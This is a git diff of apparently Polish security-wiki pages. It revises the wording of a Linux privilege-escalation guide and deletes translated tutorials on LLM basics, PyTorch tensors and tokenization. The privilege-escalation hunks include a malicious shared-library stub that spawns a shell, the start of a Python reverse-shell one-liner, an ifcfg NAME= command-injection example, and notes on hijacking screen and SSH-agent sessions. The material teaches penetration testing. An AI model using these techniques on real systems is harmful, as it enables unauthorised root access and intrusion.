Oznacza to, że pliki konfiguracyjne z `/etc/ld.so.conf.d/*.conf` będą odczytywane. Te pliki konfiguracyjne **wskazują na inne foldery**, w których **biblioteki** będą **wyszukiwane**. Na przykład, zawartość `/etc/ld.so.conf.d/libc.conf` to `/usr/local/lib`. **Oznacza to, że system będzie szukał bibliotek w `/usr/local/lib`**.
|
||||
To oznacza, że pliki konfiguracyjne z `/etc/ld.so.conf.d/*.conf` będą odczytywane. Te pliki konfiguracyjne **wskazują na inne foldery**, w których **biblioteki** będą **wyszukiwane**. Na przykład, zawartość `/etc/ld.so.conf.d/libc.conf` to `/usr/local/lib`. **To oznacza, że system będzie szukał bibliotek w `/usr/local/lib`**.
|
||||
|
||||
Jeśli z jakiegoś powodu **użytkownik ma uprawnienia do zapisu** w którejkolwiek z wskazanych ścieżek: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, dowolny plik w `/etc/ld.so.conf.d/` lub dowolny folder w pliku konfiguracyjnym w `/etc/ld.so.conf.d/*.conf`, może być w stanie podnieść swoje uprawnienia.\
|
||||
Zobacz **jak wykorzystać tę błędną konfigurację** na następującej stronie:
|
||||
@ -1033,7 +1033,7 @@ linux-gate.so.1 => (0x005b0000)
|
||||
libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000)
|
||||
/lib/ld-linux.so.2 (0x00737000)
|
||||
```
|
||||
Następnie utwórz złośliwą bibliotekę w `/var/tmp` za pomocą `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6`
|
||||
Następnie stwórz złośliwą bibliotekę w `/var/tmp` za pomocą `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6`
|
||||
```c
|
||||
#include<stdlib.h>
|
||||
#define SHELL "/bin/sh"
|
||||
@ -1058,11 +1058,11 @@ linux-capabilities.md
|
||||
## Directory permissions
|
||||
|
||||
W katalogu, **bit dla "wykonania"** oznacza, że użytkownik może "**cd**" do folderu.\
|
||||
**Bit "odczytu"** oznacza, że użytkownik może **wylistować** **pliki**, a **bit "zapisu"** oznacza, że użytkownik może **usuwać** i **tworzyć** nowe **pliki**.
|
||||
Bit **"odczytu"** oznacza, że użytkownik może **wylistować** **pliki**, a bit **"zapisu"** oznacza, że użytkownik może **usuwać** i **tworzyć** nowe **pliki**.
|
||||
|
||||
## ACLs
|
||||
|
||||
Listy Kontroli Dostępu (ACLs) reprezentują drugą warstwę dyskrecjonalnych uprawnień, zdolnych do **przysłaniania tradycyjnych uprawnień ugo/rwx**. Te uprawnienia zwiększają kontrolę nad dostępem do plików lub katalogów, pozwalając lub odmawiając praw konkretnym użytkownikom, którzy nie są właścicielami ani częścią grupy. Ten poziom **szczegółowości zapewnia dokładniejsze zarządzanie dostępem**. Dalsze szczegóły można znaleźć [**tutaj**](https://linuxconfig.org/how-to-manage-acls-on-linux).
|
||||
Listy Kontroli Dostępu (ACLs) reprezentują drugą warstwę dyskrecjonalnych uprawnień, zdolnych do **przesłaniania tradycyjnych uprawnień ugo/rwx**. Te uprawnienia zwiększają kontrolę nad dostępem do plików lub katalogów, pozwalając lub odmawiając praw konkretnym użytkownikom, którzy nie są właścicielami ani częścią grupy. Ten poziom **szczegółowości zapewnia dokładniejsze zarządzanie dostępem**. Dalsze szczegóły można znaleźć [**tutaj**](https://linuxconfig.org/how-to-manage-acls-on-linux).
|
||||
|
||||
**Nadaj** użytkownikowi "kali" uprawnienia do odczytu i zapisu dla pliku:
|
||||
```bash
|
||||
@ -1078,7 +1078,7 @@ getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null
|
||||
## Otwórz sesje powłoki
|
||||
|
||||
W **starych wersjach** możesz **przejąć** niektóre sesje **powłoki** innego użytkownika (**root**).\
|
||||
W **najnowszych wersjach** będziesz mógł **połączyć się** tylko z sesjami ekranu **swojego własnego użytkownika**. Jednak możesz znaleźć **interesujące informacje wewnątrz sesji**.
|
||||
W **najnowszych wersjach** będziesz mógł **połączyć** się tylko z sesjami ekranu **swojego własnego użytkownika**. Jednak możesz znaleźć **interesujące informacje wewnątrz sesji**.
|
||||
|
||||
### przejmowanie sesji ekranu
|
||||
|
||||
@ -1124,7 +1124,7 @@ Sprawdź **Valentine box from HTB** dla przykładu.
|
||||
### Debian OpenSSL Predictable PRNG - CVE-2008-0166
|
||||
|
||||
Wszystkie klucze SSL i SSH generowane na systemach opartych na Debianie (Ubuntu, Kubuntu itp.) między wrześniem 2006 a 13 maja 2008 mogą być dotknięte tym błędem.\
|
||||
Błąd ten występuje podczas tworzenia nowego klucza ssh w tych systemach, ponieważ **możliwe były tylko 32 768 wariantów**. Oznacza to, że wszystkie możliwości można obliczyć i **mając publiczny klucz ssh, można wyszukać odpowiadający klucz prywatny**. Możesz znaleźć obliczone możliwości tutaj: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh)
|
||||
Błąd ten występuje podczas tworzenia nowego klucza ssh w tych systemach, ponieważ **możliwe były tylko 32,768 wariantów**. Oznacza to, że wszystkie możliwości można obliczyć i **mając publiczny klucz ssh, można wyszukiwać odpowiadający klucz prywatny**. Możesz znaleźć obliczone możliwości tutaj: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh)
|
||||
|
||||
### Interesujące wartości konfiguracyjne SSH
|
||||
|
||||
@ -1147,7 +1147,7 @@ Określa pliki, które zawierają klucze publiczne, które mogą być używane d
|
||||
```bash
|
||||
AuthorizedKeysFile .ssh/authorized_keys access
|
||||
```
|
||||
Ta konfiguracja wskaże, że jeśli spróbujesz zalogować się za pomocą **prywatnego** klucza użytkownika "**testusername**", ssh porówna klucz publiczny twojego klucza z tymi znajdującymi się w `/home/testusername/.ssh/authorized_keys` i `/home/testusername/access`
|
||||
Ta konfiguracja wskaże, że jeśli spróbujesz zalogować się za pomocą **klucza prywatnego** użytkownika "**testusername**", ssh porówna klucz publiczny twojego klucza z tymi znajdującymi się w `/home/testusername/.ssh/authorized_keys` i `/home/testusername/access`
|
||||
|
||||
### ForwardAgent/AllowAgentForwarding
|
||||
|
||||
@ -1161,7 +1161,7 @@ ForwardAgent yes
|
||||
Zauważ, że jeśli `Host` to `*`, za każdym razem, gdy użytkownik przeskakuje na inną maszynę, ten host będzie mógł uzyskać dostęp do kluczy (co stanowi problem bezpieczeństwa).
|
||||
|
||||
Plik `/etc/ssh_config` może **nadpisać** te **opcje** i zezwolić lub zabronić tej konfiguracji.\
|
||||
Plik `/etc/sshd_config` może **zezwolić** lub **zabronić** przekazywania ssh-agent za pomocą słowa kluczowego `AllowAgentForwarding` (domyślnie zezwala).
|
||||
Plik `/etc/sshd_config` może **zezwolić** lub **zabronić** przekazywania ssh-agenta za pomocą słowa kluczowego `AllowAgentForwarding` (domyślnie zezwala).
|
||||
|
||||
Jeśli stwierdzisz, że Forward Agent jest skonfigurowany w środowisku, przeczytaj następującą stronę, ponieważ **możesz być w stanie to wykorzystać do eskalacji uprawnień**:
|
||||
|
||||
@ -1169,7 +1169,7 @@ Jeśli stwierdzisz, że Forward Agent jest skonfigurowany w środowisku, przeczy
|
||||
ssh-forward-agent-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
## Interesujące pliki
|
||||
## Ciekawe pliki
|
||||
|
||||
### Pliki profili
|
||||
|
||||
@ -1286,7 +1286,7 @@ find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/gam
|
||||
```
|
||||
### Znane pliki zawierające hasła
|
||||
|
||||
Przeczytaj kod [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), który przeszukuje **kilka możliwych plików, które mogą zawierać hasła**.\
|
||||
Przeczytaj kod [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), który wyszukuje **kilka możliwych plików, które mogą zawierać hasła**.\
|
||||
**Innym interesującym narzędziem**, które możesz użyć do tego celu, jest: [**LaZagne**](https://github.com/AlessandroZ/LaZagne), które jest aplikacją open source używaną do odzyskiwania wielu haseł przechowywanych na lokalnym komputerze dla systemów Windows, Linux i Mac.
|
||||
|
||||
### Dzienniki
|
||||
@ -1329,7 +1329,7 @@ import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s
|
||||
|
||||
Luka w `logrotate` pozwala użytkownikom z **uprawnieniami do zapisu** w pliku dziennika lub jego katalogach nadrzędnych potencjalnie uzyskać podwyższone uprawnienia. Dzieje się tak, ponieważ `logrotate`, często działający jako **root**, może być manipulowany do wykonywania dowolnych plików, szczególnie w katalogach takich jak _**/etc/bash_completion.d/**_. Ważne jest, aby sprawdzić uprawnienia nie tylko w _/var/log_, ale także w każdym katalogu, w którym stosuje się rotację logów.
|
||||
|
||||
> [!NOTE]
|
||||
> [!TIP]
|
||||
> Ta luka dotyczy wersji `logrotate` `3.18.0` i starszych
|
||||
|
||||
Szczegółowe informacje na temat luki można znaleźć na tej stronie: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition).
|
||||
@ -1340,13 +1340,13 @@ Ta luka jest bardzo podobna do [**CVE-2016-1247**](https://www.cvedetails.com/cv
|
||||
|
||||
### /etc/sysconfig/network-scripts/ (Centos/Redhat)
|
||||
|
||||
**Odnośnik do luki:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f)
|
||||
**Referencja luki:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f)
|
||||
|
||||
Jeśli, z jakiegokolwiek powodu, użytkownik jest w stanie **zapisać** skrypt `ifcf-<cokolwiek>` do _/etc/sysconfig/network-scripts_ **lub** może **dostosować** istniejący, to twój **system jest przejęty**.
|
||||
Jeśli z jakiegokolwiek powodu użytkownik jest w stanie **zapisać** skrypt `ifcf-<cokolwiek>` do _/etc/sysconfig/network-scripts_ **lub** może **dostosować** istniejący, to twój **system jest przejęty**.
|
||||
|
||||
Skrypty sieciowe, takie jak _ifcg-eth0_, są używane do połączeń sieciowych. Wyglądają dokładnie jak pliki .INI. Jednak są \~sourced\~ w systemie Linux przez Network Manager (dispatcher.d).
|
||||
|
||||
W moim przypadku, atrybut `NAME=` w tych skryptach sieciowych nie jest obsługiwany poprawnie. Jeśli masz **białą/pustą przestrzeń w nazwie, system próbuje wykonać część po białej/pustej przestrzeni**. Oznacza to, że **wszystko po pierwszej pustej przestrzeni jest wykonywane jako root**.
|
||||
W moim przypadku atrybut `NAME=` w tych skryptach sieciowych nie jest obsługiwany poprawnie. Jeśli masz **białą/pustą przestrzeń w nazwie, system próbuje wykonać część po białej/pustej przestrzeni**. Oznacza to, że **wszystko po pierwszej pustej przestrzeni jest wykonywane jako root**.
|
||||
|
||||
Na przykład: _/etc/sysconfig/network-scripts/ifcfg-1337_
|
||||
```bash
|
||||
@ -1356,11 +1356,11 @@ DEVICE=eth0
|
||||
```
|
||||
### **init, init.d, systemd i rc.d**
|
||||
|
||||
Katalog `/etc/init.d` jest domem dla **skryptów** dla System V init (SysVinit), **klasycznego systemu zarządzania usługami w Linuksie**. Zawiera skrypty do `start`, `stop`, `restart`, a czasami `reload` usług. Mogą być one wykonywane bezpośrednio lub przez linki symboliczne znajdujące się w `/etc/rc?.d/`. Alternatywną ścieżką w systemach Redhat jest `/etc/rc.d/init.d`.
|
||||
Katalog `/etc/init.d` jest domem dla **skryptów** dla System V init (SysVinit), **klasycznego systemu zarządzania usługami w Linuksie**. Zawiera skrypty do `start`, `stop`, `restart`, a czasami `reload` usług. Mogą być one wykonywane bezpośrednio lub przez dowiązania symboliczne znajdujące się w `/etc/rc?.d/`. Alternatywną ścieżką w systemach Redhat jest `/etc/rc.d/init.d`.
|
||||
|
||||
Z drugiej strony, `/etc/init` jest związany z **Upstart**, nowszym **zarządzaniem usługami** wprowadzonym przez Ubuntu, wykorzystującym pliki konfiguracyjne do zadań zarządzania usługami. Pomimo przejścia na Upstart, skrypty SysVinit są nadal wykorzystywane obok konfiguracji Upstart z powodu warstwy zgodności w Upstart.
|
||||
|
||||
**systemd** pojawia się jako nowoczesny menedżer inicjalizacji i usług, oferujący zaawansowane funkcje, takie jak uruchamianie demonów na żądanie, zarządzanie automount i migawki stanu systemu. Organizuje pliki w `/usr/lib/systemd/` dla pakietów dystrybucyjnych i `/etc/systemd/system/` dla modyfikacji administratora, usprawniając proces administracji systemem.
|
||||
**systemd** pojawia się jako nowoczesny menedżer inicjalizacji i usług, oferujący zaawansowane funkcje, takie jak uruchamianie demonów na żądanie, zarządzanie automontowaniem i migawki stanu systemu. Organizuje pliki w `/usr/lib/systemd/` dla pakietów dystrybucyjnych i `/etc/systemd/system/` dla modyfikacji administratora, usprawniając proces administracji systemem.
|
||||
|
||||
## Inne sztuczki
|
||||
|
||||
@ -1404,7 +1404,7 @@ cisco-vmanage.md
|
||||
**Mestaploit:** _**multi/recon/local_exploit_suggester**_\
|
||||
**Linux Exploit Suggester:** [https://github.com/mzet-/linux-exploit-suggester](https://github.com/mzet-/linux-exploit-suggester)\
|
||||
**EvilAbigail (dostęp fizyczny):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\
|
||||
**Kompilacja więcej skryptów**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc)
|
||||
**Kompilacja dodatkowych skryptów**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc)
|
||||
|
||||
## Odniesienia
|
||||
|
||||
|
@ -1,285 +0,0 @@
|
||||
# 0. Podstawowe pojęcia LLM
|
||||
|
||||
## Pretraining
|
||||
|
||||
Pretraining to podstawowa faza w rozwijaniu dużego modelu językowego (LLM), w której model jest narażony na ogromne i różnorodne ilości danych tekstowych. W tym etapie **LLM uczy się fundamentalnych struktur, wzorców i niuansów języka**, w tym gramatyki, słownictwa, składni i relacji kontekstowych. Przetwarzając te obszerne dane, model nabywa szerokie zrozumienie języka i ogólnej wiedzy o świecie. Ta kompleksowa baza umożliwia LLM generowanie spójnego i kontekstowo odpowiedniego tekstu. Następnie ten wstępnie wytrenowany model może przejść do fine-tuningu, gdzie jest dalej trenowany na wyspecjalizowanych zbiorach danych, aby dostosować swoje możliwości do konkretnych zadań lub dziedzin, poprawiając swoją wydajność i trafność w docelowych aplikacjach.
|
||||
|
||||
## Główne komponenty LLM
|
||||
|
||||
Zazwyczaj LLM charakteryzuje się konfiguracją używaną do jego trenowania. Oto wspólne komponenty podczas trenowania LLM:
|
||||
|
||||
- **Parametry**: Parametry to **uczone wagi i biasy** w sieci neuronowej. To są liczby, które proces treningowy dostosowuje, aby zminimalizować funkcję straty i poprawić wydajność modelu w zadaniu. LLM zazwyczaj używa milionów parametrów.
|
||||
- **Długość kontekstu**: To maksymalna długość każdego zdania używanego do wstępnego trenowania LLM.
|
||||
- **Wymiar osadzenia**: Rozmiar wektora używanego do reprezentacji każdego tokena lub słowa. LLM zazwyczaj używa miliardów wymiarów.
|
||||
- **Wymiar ukryty**: Rozmiar warstw ukrytych w sieci neuronowej.
|
||||
- **Liczba warstw (głębokość)**: Ile warstw ma model. LLM zazwyczaj używa dziesiątek warstw.
|
||||
- **Liczba głów uwagi**: W modelach transformatorowych, to ile oddzielnych mechanizmów uwagi jest używanych w każdej warstwie. LLM zazwyczaj używa dziesiątek głów.
|
||||
- **Dropout**: Dropout to coś w rodzaju procentu danych, które są usuwane (prawdopodobieństwa stają się 0) podczas treningu, używanego do **zapobiegania przeuczeniu.** LLM zazwyczaj używa od 0 do 20%.
|
||||
|
||||
Konfiguracja modelu GPT-2:
|
||||
```json
|
||||
GPT_CONFIG_124M = {
|
||||
"vocab_size": 50257, // Vocabulary size of the BPE tokenizer
|
||||
"context_length": 1024, // Context length
|
||||
"emb_dim": 768, // Embedding dimension
|
||||
"n_heads": 12, // Number of attention heads
|
||||
"n_layers": 12, // Number of layers
|
||||
"drop_rate": 0.1, // Dropout rate: 10%
|
||||
"qkv_bias": False // Query-Key-Value bias
|
||||
}
|
||||
```
|
||||
## Tenzory w PyTorch
|
||||
|
||||
W PyTorch, **tenzor** to podstawowa struktura danych, która służy jako wielowymiarowa tablica, uogólniając pojęcia takie jak skalar, wektor i macierz do potencjalnie wyższych wymiarów. Tenzory są głównym sposobem reprezentacji i manipulacji danymi w PyTorch, szczególnie w kontekście uczenia głębokiego i sieci neuronowych.
|
||||
|
||||
### Matematyczna koncepcja tensorów
|
||||
|
||||
- **Skalary**: Tenzory rangi 0, reprezentujące pojedynczą liczbę (zero-wymiarowe). Na przykład: 5
|
||||
- **Wektory**: Tenzory rangi 1, reprezentujące jednowymiarową tablicę liczb. Na przykład: \[5,1]
|
||||
- **Macierze**: Tenzory rangi 2, reprezentujące dwuwymiarowe tablice z wierszami i kolumnami. Na przykład: \[\[1,3], \[5,2]]
|
||||
- **Tenzory wyższej rangi**: Tenzory rangi 3 lub wyższej, reprezentujące dane w wyższych wymiarach (np. 3D tenzory dla obrazów kolorowych).
|
||||
|
||||
### Tenzory jako pojemniki na dane
|
||||
|
||||
Z perspektywy obliczeniowej, tenzory działają jako pojemniki na dane wielowymiarowe, gdzie każdy wymiar może reprezentować różne cechy lub aspekty danych. To sprawia, że tenzory są bardzo odpowiednie do obsługi złożonych zbiorów danych w zadaniach uczenia maszynowego.
|
||||
|
||||
### Tenzory PyTorch vs. tablice NumPy
|
||||
|
||||
Chociaż tenzory PyTorch są podobne do tablic NumPy w swojej zdolności do przechowywania i manipulacji danymi numerycznymi, oferują dodatkowe funkcjonalności kluczowe dla uczenia głębokiego:
|
||||
|
||||
- **Automatyczna różniczkowanie**: Tenzory PyTorch wspierają automatyczne obliczanie gradientów (autograd), co upraszcza proces obliczania pochodnych wymaganych do trenowania sieci neuronowych.
|
||||
- **Przyspieszenie GPU**: Tenzory w PyTorch mogą być przenoszone i obliczane na GPU, co znacznie przyspiesza obliczenia na dużą skalę.
|
||||
|
||||
### Tworzenie tensorów w PyTorch
|
||||
|
||||
Możesz tworzyć tenzory za pomocą funkcji `torch.tensor`:
|
||||
```python
|
||||
pythonCopy codeimport torch
|
||||
|
||||
# Scalar (0D tensor)
|
||||
tensor0d = torch.tensor(1)
|
||||
|
||||
# Vector (1D tensor)
|
||||
tensor1d = torch.tensor([1, 2, 3])
|
||||
|
||||
# Matrix (2D tensor)
|
||||
tensor2d = torch.tensor([[1, 2],
|
||||
[3, 4]])
|
||||
|
||||
# 3D Tensor
|
||||
tensor3d = torch.tensor([[[1, 2], [3, 4]],
|
||||
[[5, 6], [7, 8]]])
|
||||
```
|
||||
### Typy danych tensorów
|
||||
|
||||
Tensory PyTorch mogą przechowywać dane różnych typów, takich jak liczby całkowite i liczby zmiennoprzecinkowe.
|
||||
|
||||
Możesz sprawdzić typ danych tensora, używając atrybutu `.dtype`:
|
||||
```python
|
||||
tensor1d = torch.tensor([1, 2, 3])
|
||||
print(tensor1d.dtype) # Output: torch.int64
|
||||
```
|
||||
- Tensory utworzone z liczb całkowitych Pythona mają typ `torch.int64`.
|
||||
- Tensory utworzone z liczb zmiennoprzecinkowych Pythona mają typ `torch.float32`.
|
||||
|
||||
Aby zmienić typ danych tensora, użyj metody `.to()`:
|
||||
```python
|
||||
float_tensor = tensor1d.to(torch.float32)
|
||||
print(float_tensor.dtype) # Output: torch.float32
|
||||
```
|
||||
### Common Tensor Operations
|
||||
|
||||
PyTorch provides a variety of operations to manipulate tensors:
|
||||
|
||||
- **Accessing Shape**: Use `.shape` to get the dimensions of a tensor.
|
||||
|
||||
```python
|
||||
print(tensor2d.shape) # Output: torch.Size([2, 2])
|
||||
```
|
||||
|
||||
- **Reshaping Tensors**: Use `.reshape()` or `.view()` to change the shape.
|
||||
|
||||
```python
|
||||
reshaped = tensor2d.reshape(4, 1)
|
||||
```
|
||||
|
||||
- **Transposing Tensors**: Use `.T` to transpose a 2D tensor.
|
||||
|
||||
```python
|
||||
transposed = tensor2d.T
|
||||
```
|
||||
|
||||
- **Matrix Multiplication**: Use `.matmul()` or the `@` operator.
|
||||
|
||||
```python
|
||||
result = tensor2d @ tensor2d.T
|
||||
```
|
||||
|
||||
### Importance in Deep Learning
|
||||
|
||||
Tensors are essential in PyTorch for building and training neural networks:
|
||||
|
||||
- They store input data, weights, and biases.
|
||||
- They facilitate operations required for forward and backward passes in training algorithms.
|
||||
- With autograd, tensors enable automatic computation of gradients, streamlining the optimization process.
|
||||
|
||||
## Automatic Differentiation
|
||||
|
||||
Automatic differentiation (AD) is a computational technique used to **evaluate the derivatives (gradients)** of functions efficiently and accurately. In the context of neural networks, AD enables the calculation of gradients required for **optimization algorithms like gradient descent**. PyTorch provides an automatic differentiation engine called **autograd** that simplifies this process.
|
||||
|
||||
### Mathematical Explanation of Automatic Differentiation
|
||||
|
||||
**1. The Chain Rule**
|
||||
|
||||
At the heart of automatic differentiation is the **chain rule** from calculus. The chain rule states that if you have a composition of functions, the derivative of the composite function is the product of the derivatives of the composed functions.
|
||||
|
||||
Mathematically, if `y=f(u)` and `u=g(x)`, then the derivative of `y` with respect to `x` is:
|
||||
|
||||
<figure><img src="../../images/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**2. Computational Graph**
|
||||
|
||||
In AD, computations are represented as nodes in a **computational graph**, where each node corresponds to an operation or a variable. By traversing this graph, we can compute derivatives efficiently.
|
||||
|
||||
3. Example
|
||||
|
||||
Let's consider a simple function:
|
||||
|
||||
<figure><img src="../../images/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Where:
|
||||
|
||||
- `σ(z)` is the sigmoid function.
|
||||
- `y=1.0` is the target label.
|
||||
- `L` is the loss.
|
||||
|
||||
We want to compute the gradient of the loss `L` with respect to the weight `w` and bias `b`.
|
||||
|
||||
**4. Computing Gradients Manually**
|
||||
|
||||
<figure><img src="../../images/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**5. Numerical Calculation**
|
||||
|
||||
<figure><img src="../../images/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Implementing Automatic Differentiation in PyTorch
|
||||
|
||||
Now, let's see how PyTorch automates this process.
|
||||
```python
|
||||
pythonCopy codeimport torch
|
||||
import torch.nn.functional as F
|
||||
|
||||
# Define input and target
|
||||
x = torch.tensor([1.1])
|
||||
y = torch.tensor([1.0])
|
||||
|
||||
# Initialize weights with requires_grad=True to track computations
|
||||
w = torch.tensor([2.2], requires_grad=True)
|
||||
b = torch.tensor([0.0], requires_grad=True)
|
||||
|
||||
# Forward pass
|
||||
z = x * w + b
|
||||
a = torch.sigmoid(z)
|
||||
loss = F.binary_cross_entropy(a, y)
|
||||
|
||||
# Backward pass
|
||||
loss.backward()
|
||||
|
||||
# Gradients
|
||||
print("Gradient w.r.t w:", w.grad)
|
||||
print("Gradient w.r.t b:", b.grad)
|
||||
```
|
||||
**Wyjście:**
|
||||
```css
|
||||
cssCopy codeGradient w.r.t w: tensor([-0.0898])
|
||||
Gradient w.r.t b: tensor([-0.0817])
|
||||
```
|
||||
## Backpropagation w większych sieciach neuronowych
|
||||
|
||||
### **1. Rozszerzenie do sieci wielowarstwowych**
|
||||
|
||||
W większych sieciach neuronowych z wieloma warstwami proces obliczania gradientów staje się bardziej złożony z powodu zwiększonej liczby parametrów i operacji. Jednak podstawowe zasady pozostają takie same:
|
||||
|
||||
- **Forward Pass:** Oblicz wyjście sieci, przekazując dane wejściowe przez każdą warstwę.
|
||||
- **Compute Loss:** Oceń funkcję straty, używając wyjścia sieci i docelowych etykiet.
|
||||
- **Backward Pass (Backpropagation):** Oblicz gradienty straty względem każdego parametru w sieci, stosując regułę łańcuchową rekurencyjnie od warstwy wyjściowej do warstwy wejściowej.
|
||||
|
||||
### **2. Algorytm Backpropagation**
|
||||
|
||||
- **Krok 1:** Zainicjalizuj parametry sieci (wagi i biasy).
|
||||
- **Krok 2:** Dla każdego przykładu treningowego wykonaj forward pass, aby obliczyć wyjścia.
|
||||
- **Krok 3:** Oblicz stratę.
|
||||
- **Krok 4:** Oblicz gradienty straty względem każdego parametru, stosując regułę łańcuchową.
|
||||
- **Krok 5:** Zaktualizuj parametry, używając algorytmu optymalizacji (np. gradient descent).
|
||||
|
||||
### **3. Reprezentacja matematyczna**
|
||||
|
||||
Rozważ prostą sieć neuronową z jedną ukrytą warstwą:
|
||||
|
||||
<figure><img src="../../images/image (5) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### **4. Implementacja w PyTorch**
|
||||
|
||||
PyTorch upraszcza ten proces dzięki swojemu silnikowi autograd.
|
||||
```python
|
||||
import torch
|
||||
import torch.nn as nn
|
||||
import torch.optim as optim
|
||||
|
||||
# Define a simple neural network
|
||||
class SimpleNet(nn.Module):
|
||||
def __init__(self):
|
||||
super(SimpleNet, self).__init__()
|
||||
self.fc1 = nn.Linear(10, 5) # Input layer to hidden layer
|
||||
self.relu = nn.ReLU()
|
||||
self.fc2 = nn.Linear(5, 1) # Hidden layer to output layer
|
||||
self.sigmoid = nn.Sigmoid()
|
||||
|
||||
def forward(self, x):
|
||||
h = self.relu(self.fc1(x))
|
||||
y_hat = self.sigmoid(self.fc2(h))
|
||||
return y_hat
|
||||
|
||||
# Instantiate the network
|
||||
net = SimpleNet()
|
||||
|
||||
# Define loss function and optimizer
|
||||
criterion = nn.BCELoss()
|
||||
optimizer = optim.SGD(net.parameters(), lr=0.01)
|
||||
|
||||
# Sample data
|
||||
inputs = torch.randn(1, 10)
|
||||
labels = torch.tensor([1.0])
|
||||
|
||||
# Training loop
|
||||
optimizer.zero_grad() # Clear gradients
|
||||
outputs = net(inputs) # Forward pass
|
||||
loss = criterion(outputs, labels) # Compute loss
|
||||
loss.backward() # Backward pass (compute gradients)
|
||||
optimizer.step() # Update parameters
|
||||
|
||||
# Accessing gradients
|
||||
for name, param in net.named_parameters():
|
||||
if param.requires_grad:
|
||||
print(f"Gradient of {name}: {param.grad}")
|
||||
```
|
||||
W tym kodzie:
|
||||
|
||||
- **Forward Pass:** Oblicza wyjścia sieci.
|
||||
- **Backward Pass:** `loss.backward()` oblicza gradienty straty względem wszystkich parametrów.
|
||||
- **Parameter Update:** `optimizer.step()` aktualizuje parametry na podstawie obliczonych gradientów.
|
||||
|
||||
### **5. Zrozumienie Backward Pass**
|
||||
|
||||
Podczas backward pass:
|
||||
|
||||
- PyTorch przeszukuje graf obliczeniowy w odwrotnej kolejności.
|
||||
- Dla każdej operacji stosuje regułę łańcuchową do obliczenia gradientów.
|
||||
- Gradienty są gromadzone w atrybucie `.grad` każdego tensora parametru.
|
||||
|
||||
### **6. Zalety automatycznej różniczkowania**
|
||||
|
||||
- **Efektywność:** Unika zbędnych obliczeń poprzez ponowne wykorzystanie wyników pośrednich.
|
||||
- **Dokładność:** Zapewnia dokładne pochodne do precyzji maszyny.
|
||||
- **Łatwość użycia:** Eliminuje ręczne obliczanie pochodnych.
|
@ -1,95 +0,0 @@
|
||||
# 1. Tokenizacja
|
||||
|
||||
## Tokenizacja
|
||||
|
||||
**Tokenizacja** to proces dzielenia danych, takich jak tekst, na mniejsze, łatwiejsze do zarządzania fragmenty zwane _tokenami_. Każdemu tokenowi przypisywany jest unikalny identyfikator numeryczny (ID). To fundamentalny krok w przygotowywaniu tekstu do przetwarzania przez modele uczenia maszynowego, szczególnie w przetwarzaniu języka naturalnego (NLP).
|
||||
|
||||
> [!TIP]
|
||||
> Celem tej początkowej fazy jest bardzo prosty: **Podzielić dane wejściowe na tokeny (id) w sposób, który ma sens**.
|
||||
|
||||
### **Jak działa tokenizacja**
|
||||
|
||||
1. **Podział tekstu:**
|
||||
- **Podstawowy tokenizator:** Prosty tokenizator może dzielić tekst na pojedyncze słowa i znaki interpunkcyjne, usuwając spacje.
|
||||
- _Przykład:_\
|
||||
Tekst: `"Hello, world!"`\
|
||||
Tokeny: `["Hello", ",", "world", "!"]`
|
||||
2. **Tworzenie słownika:**
|
||||
- Aby przekształcić tokeny w numeryczne ID, tworzony jest **słownik**. Ten słownik zawiera wszystkie unikalne tokeny (słowa i symbole) i przypisuje każdemu z nich konkretny ID.
|
||||
- **Tokeny specjalne:** To specjalne symbole dodawane do słownika, aby obsługiwać różne scenariusze:
|
||||
- `[BOS]` (Początek sekwencji): Wskazuje początek tekstu.
|
||||
- `[EOS]` (Koniec sekwencji): Wskazuje koniec tekstu.
|
||||
- `[PAD]` (Wypełnienie): Używane do wyrównania długości wszystkich sekwencji w partii.
|
||||
- `[UNK]` (Nieznany): Reprezentuje tokeny, które nie znajdują się w słowniku.
|
||||
- _Przykład:_\
|
||||
Jeśli `"Hello"` ma ID `64`, `","` to `455`, `"world"` to `78`, a `"!"` to `467`, to:\
|
||||
`"Hello, world!"` → `[64, 455, 78, 467]`
|
||||
- **Obsługa nieznanych słów:**\
|
||||
Jeśli słowo takie jak `"Bye"` nie znajduje się w słowniku, jest zastępowane przez `[UNK]`.\
|
||||
`"Bye, world!"` → `["[UNK]", ",", "world", "!"]` → `[987, 455, 78, 467]`\
|
||||
_(Zakładając, że `[UNK]` ma ID `987`)_
|
||||
|
||||
### **Zaawansowane metody tokenizacji**
|
||||
|
||||
